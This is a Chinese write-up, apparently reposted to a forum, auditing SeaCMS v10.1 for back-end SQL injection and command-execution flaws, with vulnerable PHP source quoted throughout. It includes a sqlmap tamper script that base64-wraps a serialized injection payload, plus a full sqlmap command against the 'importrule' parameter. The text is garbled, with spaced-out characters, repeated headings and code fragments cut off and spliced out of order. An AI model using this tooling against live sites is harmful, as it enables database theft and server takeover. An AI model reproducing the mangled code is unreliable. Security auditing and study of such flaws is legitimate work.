搜索

[15597] 2020-07-12_SeaCMSv10.1代码审计实战

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2020-07-12_SeaCMSv10.1代码审计实战 S e a C M S   v 1 0 . 1 代 码 审 计 实 战 j o e 1 1 9   F r e e B u f   2 0 2 0 - 0 7 - 1 2 前 言 前 言 s e a c m s 是 一 个 代 码 审 计 入 门 级 的 是 一 个 代 码 审 计 入 门 级 的 c m s ， 比 较 适 合 我 这 种 小 白 玩 家 来 学 习 ， 如 果 有 什 么 错 误 欢 迎 指 出 。 ， 比 较 适 合 我 这 种 小 白 玩 家 来 学 习 ， 如 果 有 什 么 错 误 欢 迎 指 出 。 环 境 环 境 p h p s t u d y   p r o p h p 5 . 4 . 4 5 n t s s e a y 代 码 审 计 工 具 p h p s t r o m s q l m a p s e a c m s   v 1 0 . 1 因 为 这 个 c m s 的 官 网 已 经 打 不 开 了 ， 所 以 发 一 下 自 己 保 存 的 代 码 链 接 h t t p s : / / p a n . b a i d u . c o m / s / 1 f 9 m X y O X 6 s g s e r s y N z - k D Q g 提 取 码 j 3 k 0 安 装 安 装 c m s 可 以 参 照 目 录 下 的 海 洋 C M S 使 用 手 册 来 进 行 配 置 在 安 装 之 后 系 统 会 生 成 一 个 随 机 后 台 思 路 总 结 思 路 总 结 通 过 查 看 目 录 结 构 与 相 关 文 件 名 称 了 解 功 能 ， 查 看 配 置 文 件 ， 浏 览 网 站 ， 了 解 c m s 的 功 能 ， 对 可 能 存 在 漏 洞 的 地 方 进 行 记 录 ， 也 可 以 结 合 x r a y 进 行 扫 描 ， 不 过 个 人 不 太 推 荐 结 合 x r a y ， 特 别 是 在 测 试 后 台 的 时 候 ， 可 能 会 把 环 境 搞 蹦 ， 并 且 成 功 率 不 是 很 高 对 文 件 上 传 ， s q l 语 句 拼 接 ， 文 件 写 入 （ 写 配 置 ） 相 关 功 能 点 重 点 关 注 ， 如 果 自 动 化 工 具 不 能 找 到 漏 洞 点 ， 可 以 通 过 s e a y 配 合 ， 查 看 可 能 的 漏 洞 点 ， 进 行 反 向 查 找 如 果 对 代 码 不 够 理 解 的 话 可 以 通 过 p h p s t r o m 进 行 动 态 调 试 ， 查 看 参 数 传 递 与 语 句 拼 接 ， 通 过 p h p s t r o m 调 试 查 看 自 己 的 p a y l o a d 在 哪 里 被 过 滤 与 处 理 ， 进 行 相 应 修 改
代 码 审 计 代 码 审 计 目 录 结 构 目 录 结 构 │ ─ a d m i n   / / 后 台 管 理 目 录 （ 这 里 为 随 机 生 成 的 w 1 a q h p ） │   │ ─ c o p l u g i n s   / / 已 停 用 目 录 │   │ ─ e b a k   / / 帝 国 备 份 王 数 据 备 份 │   │ ─ e d i t o r   / / 编 辑 器 │   │ ─ i m g   / / 后 台 静 态 文 件 │   │ ─ j s   / / 后 台 j s 文 件 │   │ ─ t e m p l e t s   / / 后 台 模 板 文 件 │ ─ a r t i c l e   / / 文 章 内 容 页 │ ─ a r t i c l e l i s t   / / 文 章 列 表 页 │ ─ c o m m e n t   / / 评 论 │   │ ─ a p i   / / 评 论 接 口 文 件 │   │ ─ i m a g e s   / / 评 论 静 态 文 件 │   │ ─ j s   / / 评 论 j s 文 件 │ ─ d a t a   / / 配 置 数 据 及 缓 存 文 件 │   │ ─ a d m i n   / / 后 台 配 置 保 存 │   │ ─ c a c h e   / / 缓 存 │   │ ─ m a r k   / / 水 印 │   │ ─ s e s s i o n s   / / s e s s i o n s 文 件 │ ─ d e t a i l   / / 视 频 内 容 页 │ ─ i n c l u d e   / / 核 心 文 件 │   │ ─ c r o n s   / / 定 时 任 务 配 置 │   │ ─ d a t a   / / 静 态 文 件 │   │ ─ i n c   / / 扩 展 文 件 │   │ ─ w e b s c a n   / / 3 6 0 安 全 监 测 模 块 │ ─ i n s t a l l   / / 安 装 模 块 │   │ ─ i m a g e s   / / 安 装 模 块 静 态 文 件 │   │ ─ t e m p l a t e s   / / 安 装 模 块 模 板 │ ─ j s   / / j s 文 件
│   │ ─ a d s   / / 默 认 广 告 目 录 │   │ ─ p l a y e r   / / 播 放 器 目 录 │ ─ l i s t   / / 视 频 列 表 页 │ ─ n e w s   / / 文 章 首 页 │ ─ p i c   / / 静 态 文 件 │   │ ─ f a c e s   / / 表 情 图 像 │   │ ─ m e m b e r   / / 会 员 模 块 界 面 │   │ ─ s l i d e   / / 旧 版 F l a s h 幻 灯 片 │   │ ─ z t   / / 专 题 静 态 文 件 │ ─ t e m p l e t s   / / 模 板 目 录 │ ─ t o p i c   / / 专 题 内 容 页 │ ─ t o p i c l i s t   / / 专 题 列 表 页 │ ─ u p l o a d s   / / 上 传 文 件 目 录 │ ─ v i d e o   / / 视 频 播 放 页 │ ─ w e i x i n   / / 微 信 接 口 目 录 └ ─ i n d e x . p h p   / / 首 页 文 件 后 台 后 台 s q l 注 入 （ 一 ） 注 入 （ 一 ） 在 对 后 台 测 试 的 时 候 ， 在 添 加 数 据 的 时 候 系 统 都 会 先 检 查 数 据 是 否 存 在 ， 如 果 不 存 在 之 后 再 进 行 添 加 ， 于 是 分 析 检 查 数 据 存 在 的 数 据 包 在 的 行 进 入 判 断 对 传 入 的 参 数 进 行 编 码 处 理 ， 在 下 一 行 对 参 数 进 行 拼 接 没 有 进 行 过 滤 ， 跟 进 函 数 进 行 了 s q l 语 句 安 全 检 查 ， 跟 进 函 数 在 进 行 过 滤 的 时 候 都 是 使 用 的 小 写 ， 使 用 大 写 可 以 绕 过 ， 但 是 在 行 对 s q l 语 句 使 用 了 处 理 ， 不 能 够 使 用 s e l e c t 子 查 询 ， 所 以 此 处 只 能 注 入 出 当 前 数 据 库 后 台 后 台 s q l 注 入 （ 二 ） 注 入 （ 二 ） 在 下 的 行 的 删 除 评 论 操 作 传 入 参 数 ， 跟 进 函 数 对 传 入 数 据 没 有 进 行 处 理 直 接 拼 接 ， 跟 进 没 有 进 行 过 滤 ， 跟 进 w 1 a q h p a d m i n _ a j a x . p h p 7 6 e l s e i f ( $ a c t i o n = = " c h e c k r e p e a t " ) {         $ v _ n a m e = i c o n v ( ' u t f - 8 ' , ' u t f - 8 ' , $ _ G E T [ " v _ n a m e " ] ) ;           $ r o w = $ d s q l - > G e t O n e ( " s e l e c t   c o u n t ( * )   a s   d d   f r o m   s e a _ d a t a   w h e r e   v _ n a m e = ' $ v _ n a m e ' " ) ;         $ n u m = $ r o w [ G e t O n e       f u n c t i o n   G e t O n e ( $ s q l = ' '   )         {                 g l o b a l   $ d s q l ;                 i f ( $ d s q l - > i s C l o s e )                 {                         $ t h i s - > O p e n ( f a l s e ) ;                         $ d s q l - > i s C l o s e   =   f a l s e ;                 }                 / / S Q L 语 句 安 全 检 查                 C h e c k S q l / / S Q L 语 句 过 滤 程 序 ， 由 8 0 s e c 提 供 ， 这 里 作 了 适 当 的 修 改 f u n c t i o n   C h e c k S q l ( $ d b _ s t r i n g , $ q u e r y t y p e = ' s e l e c t ' ) {         g l o b a l   $ c f g _ c o o k i e _ e n c o d e ;         $ c l e a n   =   ' ' ;         $ e r r o r = ' ' ;         $ o l d _ p o s   =   0 ;         $ p o s   =   - 6 2 3 s t r t o l o w e r w 1 a q h p / a d m i n _ c o m m e n t _ n e w s . p h p 5 4 e l s e i f ( $ a c t i o n = = " d e l a l l c o m m e n t " ) {         i f ( e m p t y ( $ e _ i d ) )         {                 S h o w M s g ( " 请 选 择 需 要 删 除 的 评 论 " , " - 1 " ) ;                 e x i t ( ) ;         }         $ i d s   =   i m p l o d e ( ' , ' , $ e _ i d ) ;         d e l c o m m e n t c a c h e ( $ i d s ) ;         $ d s q l - > E x e c u t e N o n e Q u e r y ( e _ i d d e l c o m m e n t c a c h e f u n c t i o n   d e l c o m m e n t c a c h e ( $ i d ) {         g l o b a l   $ d s q l ;         $ d s q l - > s e t Q u e r y ( " s e l e c t   v _ i d   f r o m   s e a _ c o m m e n t   w h e r e   i d   i n   ( " . $ i d . " ) " ) ;         $ d s q l - > E x e c u t e ( " d e l c o m m e n t c a c h e " ) ;         w h i l e ( $ r o w   =   $ d s q l - > G e t A r r a y ( s e t Q u e r y         / / 设 置 S Q L 语 句 ， 会 自 动 把 S Q L 语 句 里 的 s e a _ 替 换 为 $ t h i s - > d b P r e f i x ( 在 配 置 文 件 中 为 $ c f g _ d b p r e f i x )         f u n c t i o n   S e t Q u e r y ( $ s q l )         {                 $ p r e f i x = " s e a _ " ;                 $ s q l   =   s t r _ r e p l a c e ( $ p r e f i x E x e c u t e         f u n c t i o n   E x e c u t e ( $ i d = " m e " ,   $ s q l = ' ' )         {                 g l o b a l   $ d s q l ;                 s e l f : : $ i + + ;                 i f ( $ d s q l - > i s C l o s e )                 {                         $ t h i s - > O p e n ( f a l s e ) ;                         $ d s q l - > i s C l o s e   =  
发 现 默 认 没 有 开 启 s q l 语 句 安 全 检 查 存 在 注 入 后 台 后 台 s q l 注 入 （ 三 ） 注 入 （ 三 ） 在 的 4 4 行 进 入 判 断 ， 在 行 对 用 户 传 入 参 数 进 行 处 理 ， 没 有 过 滤 在 行 ， 直 接 对 参 数 进 行 拼 接 在 行 ， 跟 进 默 认 没 有 进 行 s q l 语 句 安 全 检 查 丢 到 s q l m a p         f u n c t i o n   E x e c u t e ( $ i d = " m e " ,   $ s q l = ' ' )         {                 g l o b a l   $ d s q l ;                 s e l f : : $ i + + ;                 i f ( $ d s q l - > i s C l o s e )                 {                         $ t h i s - > O p e n ( f a l s e ) ;                         $ d s q l - > i s C l o s e   =   w 1 a q h p / a d m i n _ v i d e o . p h p 8 5 - 8 8 1 2 3 1 2 4 E x e c u t e N o n e Q u e r y         f u n c t i o n   E x e c u t e N o n e Q u e r y ( $ s q l = ' ' )         {                 g l o b a l   $ d s q l ;                 s e l f : : $ i + + ;                 i f ( $ d s q l - > i s C l o s e )                 {                         $ t h i s - > O p e n ( f a l s e ) ;                         $ d s q l - > i s C l o s e   =  
后 台 后 台 s q l 注 入 （ 四 ） 注 入 （ 四 ） 在 的 行 ， 使 用 时 w 1 a q h p / a d m i n _ c o l l e c t _ n e w s . p h p 3 8 2 i m p o r t o k e l s e i f ( $ a c t i o n = = " i m p o r t o k " ) {         $ i m p o r t r u l e   =   t r i m ( $ i m p o r t r u l e ) ;         i f ( e m p t y ( $ i m p o r t r u l e ) )         {                 S h o w M s g ( " 规 则 内 容 为 空 ！ " , " - 1 " ) ;                 e x i t ( ) ;         }         / / 对 B a s e 6 4 格 式 的 规 则 进 行 解 码         i f ( m _ e r e g ( ' ^ B A S E 6 4 : ' , $ i m p o r t r u l e ) )         {                 i f ( ! m _ e r e g ( ' : E N D $ ' , $ i m p o r t r u l e ) )                 {                         S h o w M s g ( ' 该 规 则 不 合 法 ， B a s e 6 4 格 式 的 采 集 规 则 为 ： B A S E 6 4 : b a s e 6 4 编 码 后 的 配 置 : E N D   ! ' , ' - 1 ' ) ;                         e x i t ( ) ;                 }                 $ i m p o r t r u l e s   =   e x p l o d e ( ' : ' , $ i m p o r t r u l e ) ;                 $ i m p o r t r u l e   =   $ i m p o r t r u l e s [ 1 ] ;                 $ i m p o r t r u l e   =   u n s e r i a l i z e ( b a s e 6 4 _ d e c o d e ( $ i m p o r t r u l e ) )   O R     d i e ( ' 配 置 字 符 串 有 错 误 ！ ' ) ;                 / / d i e ( b a s e 6 4 _ d e c o d e ( $ i m p o r t r u l e ) ) ;         }         e l s e         {                 S h o w M s g ( ' 该 规 则 不 合 法 ， B a s e 6 4 格 式 的 采 集 规 则 为 ： B A S E 6 4 : b a s e 6 4 编 码 后 的 配 置 : E N D   ! ' , ' - 1 ' ) ;                 e x i t ( ) ;         }         i f ( ! i s _ a r r a y ( $ i m p o r t r u l e )   | |   ! i s _ a r r a y ( $ i m p o r t r u l e [ ' c o n f i g ' ] )   | |   ! i s _ a r r a y ( $ i m p o r t r u l e [ ' t y p e ' ] ) )         {                 S h o w M s g ( ' 该 规 则 不 合 法 ， 无 法 导 入 ! ' , ' - 1 ' ) ;                 e x i t ( ) ;         }         $ d a t a   =   $ i m p o r t r u l e [ ' c o n f i g ' ] ;         u n s e t ( $ d a t a [ ' c i d ' ] ) ;         $ d a t a [ ' c n a m e ' ] . = " ( 导 入 时 间 : " . d a t e ( " Y - m - d   H : i : s " ) . " ) " ;         $ d a t a [ ' c o t y p e ' ]   =   ' 1 ' ;         $ s q l   =   s i ( " s e a _ c o _ c o n f i g " , $ d a t a , 1 ) ;         $ d s q l - > E x e c u t e N o n e Q u e r y ( $ s q l ) ;         $ c i d   =   $ d s q l - > G e t L a s t I D ( ) ;         i f   ( ! e m p t y ( $ i m p o r t r u l e [ ' t y p e ' ] ) ) {                 f o r e a c h   ( $ i m p o r t r u l e [ ' t y p e ' ]   a s   $ t y p e ) {                         u n s e t ( $ t y p e [ ' t i d ' ] ) ;                         $ t y p e [ ' c i d ' ]   =   $ c i d ;                         $ t y p e [ ' a d d t i m e ' ]   =   t i m e ( ) ;                         $ t y p e [ ' c j t i m e ' ]   =   ' ' ;                         $ t y p e [ ' c o t y p e ' ]   =   ' 1 ' ;                         $ d a t a   =   $ t y p e ;                         $ s q l   =   s i ( " s e a _ c o _ t y p e " , $ d a t a , 1 ) ;
首 先 判 断 传 入 的 字 符 串 是 否 符 合 格 式 ， 之 后 进 行 之 后 进 行 反 序 列 化 操 作 在 行   判 断 之 后 的 字 符 串 是 否 符 合 要 求 在 行 对 s q l 语 句 进 行 拼 接 ， 返 回 语 句 在 行 执 行 语 句 ， 跟 进 默 认 没 有 过 滤 s q l 语 句 因 为 这 里 对 传 入 数 据 进 行 了 编 码 处 理 ， 所 以 编 写 s q l m a p 的 t a m p e r 脚 本 丢 到 s q l m a p 后 台 命 令 执 行 （ 一 ） 后 台 命 令 执 行 （ 一 ） 在 下 第 五 行 使 用 s e t 参 数                         $ s q l   =   s i ( " s e a _ c o _ t y p e " , $ d a t a , 1 ) ;                         $ d s q l - > E x e c u t e N o n e Q u e r y ( $ s q l ) ;                 }         }         S h o w M s g ( ' 成 功 导 入 规 则 ! ' , ' a d m i n _ c o l l e c t _ n e w s . p h p ' ) ;         e x i t ; } b a s e 6 4 解 码 4 0 8 反 序 列 化 4 1 7 4 1 8 E x e c u t e N o n e Q u e r y a d d n o t e . p y # ! / u s r / b i n / e n v   p y t h o n # a d d n o t e . p y " " " C o p y r i g h t   ( c )   2 0 0 6 - 2 0 1 9   s q l m a p   d e v e l o p e r s   ( h t t p : / / s q l m a p . o r g / ) S e e   t h e   f i l e   ' L I C E N S E '   f o r   c o p y i n g   p e r m i s s i o n " " " i m p o r t   r e i m p o r t   b a s e 6 4 f r o m   l i b . c o r e . c o m m o n   i m p o r t   r a n d o m R a n g e f r o m   l i b . c o r e . c o m p a t   i m p o r t   x r a n g e f r o m   l i b . c o r e . d a t a   i m p o r t   k b f r o m   l i b . c o r e . e n u m s   i m p o r t   P R I O R I T Y _ _ p r i o r i t y _ _   =   P R I O R I T Y . H I G H d e f   d e p e n d e n c i e s ( ) :         p a s s d e f   t a m p e r ( p a y l o a d ,   * * k w a r g s ) :         b = ' g e t l i s t n u m ` )   v a l u e s ( 3 + ( 1 = 2   q q q ) ) # '         b = b . r e p l a c e ( ' q q q ' , p a y l o a d )         a = ' a : 2 : { s : 6 : " c o n f i g " ; a : 3 : { s : 5 : " c n a m e " ; s : 1 : " 1 " ; s : 6 : " c o t y p e " ; s : 1 : " 1 " ; s : l e n : " s t r i n g " ; i : 1 2 3 ; } s : 4 : " t y p e " ; a : 0 : { } } '         a = a . r e p l a c e ( ' l e n ' , s t r ( l e n ( b ) ) )         a = a . r e p l a c e ( ' s t r i n g ' , b )         r e t V a l = " B A S E 6 4 : " + b a s e 6 4 . b 6 4 e n c o d e ( a ) + " : E N D "         r e t u r n   r e t V a l s q l m a p . p y   - r   C : U s e r s 1 1 9 6 2 D e s k t o p 1 2 . t x t   - p   i m p o r t r u l e   - - d b m s   m y s q l   - - r i s k   3   - v   3   - - d b s   - - t a m p e r = a d d n o t e w 1 a q h p / a d m i n _ i p . p h p i f ( $ a c t i o n = = " s e t " )
对 用 户 输 入 没 有 进 行 任 何 处 理 ， 直 接 写 入 文 件 构 造 p a y l o a d 查 看 后 台 命 令 执 行 （ 二 ） 后 台 命 令 执 行 （ 二 ） 在 下 第 五 行 ， 使 用 参 数 对 传 入 参 数 没 有 进 行 处 理 ， 拼 接 字 符 串 i f ( $ a c t i o n = = " s e t " ) {         $ v =   $ _ P O S T [ ' v ' ] ;         $ i p   =   $ _ P O S T [ ' i p ' ] ;         $ o p e n = f o p e n ( " . . / d a t a / a d m i n / i p . p h p " , " w "   ) ;         $ s t r = ' < ? p h p   ' ;         $ s t r . = ' $ v   =   " ' ;         $ s t r . = " $ v " ;         $ s t r . = ' " ;   ' ;         $ s t r . = ' $ i p   =   " ' ;         $ s t r . = " $ i p " ;         $ s t r . = ' " ;   ' ;         $ s t r . = "   ? > " ;         f w r i t e ( $ o p e n , $ s t r ) ;         f c l o s e ( $ o p e n ) ;         S h o w M s g ( " 成 功 保 存 设 置 ! " , " a d m i n _ i p . p h p " ) ;         e x i t ; } d a t a a d m i n i p . p h p w 1 a q h p / a d m i n _ w e i x i n . p h p s e t
在 行 写 入 文 件 构 造 p a y l o a d 访 问 后 台 命 令 执 行 （ 三 ） 后 台 命 令 执 行 （ 三 ） 在 第 五 行 1 1 8 / d a t a / a d m i n / w e i x i n . p h p w 1 a q h p / a d m i n _ n o t i f y . p h p i f ( $ a c t i o n = = " s e t " ) {         $ n o t i f y 1 =   $ _ P O S T [ ' n o t i f y 1 ' ] ;         $ n o t i f y 2 =   $ _ P O S T [ ' n o t i f y 2 ' ] ;         $ n o t i f y 3 =   $ _ P O S T [ ' n o t i f y 3 ' ] ;
对 传 入 的 数 据 没 有 进 行 处 理 ， 直 接 拼 接 字 符 串 之 后 写 入 文 件 构 造 p a y l o a d 访 问 / d a t a / a d m i n / n o t i f y . p h p 总 结 总 结 虽 然 这 是 一 个 入 门 的 c m s ， 也 都 是 后 台 的 漏 洞 ， 但 是 也 从 中 学 到 了 知 识 ， 同 时 还 要 细 心 ， 对 可 能 存 在 的 漏 洞 点 进 行 测 试 。 如 果 对 代 码 理 解 不 够 或 者 对 于 后 台 逻 辑 不 太 理 解 的 话 可 以 通 过 动 态 调 试 来 加 深 理 解 ， 一 些 全 局 的 函 数 搜 索 推 荐 s e a y 源 代 码 审 计 系 统 。 如 果 哪 里 有 错 误 欢 迎 指 正 。 精 彩 推 荐 精 彩 推 荐         $ n o t i f y 3 =   $ _ P O S T [ ' n o t i f y 3 ' ] ;         $ o p e n = f o p e n ( " . . / d a t a / a d m i n / n o t i f y . p h p " , " w "   ) ;         $ s t r = ' < ? p h p   ' ;         $ s t r . = ' $ n o t i f y 1   =   " ' ;         $ s t r . = " $ n o t i f y 1 " ;         $ s t r . = ' " ;   ' ;         $ s t r . = ' $ n o t i f y 2   =   " ' ;         $ s t r . = " $ n o t i f y 2 " ;         $ s t r . = ' " ;   ' ;         $ s t r . = ' $ n o t i f y 3   =   " ' ;         $ s t r . = " $ n o t i f y 3 " ;         $ s t r . = ' " ;   ' ;         $ s t r . = "   ? > " ;         f w r i t e ( $ o p e n , $ s t r ) ;         f c l o s e ( $ o p e n ) ;         S h o w M s g ( " 成 功 保 存 设 置 ! " , " a d m i n _ n o t i f y . p h p " ) ;         e x i t ; }
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理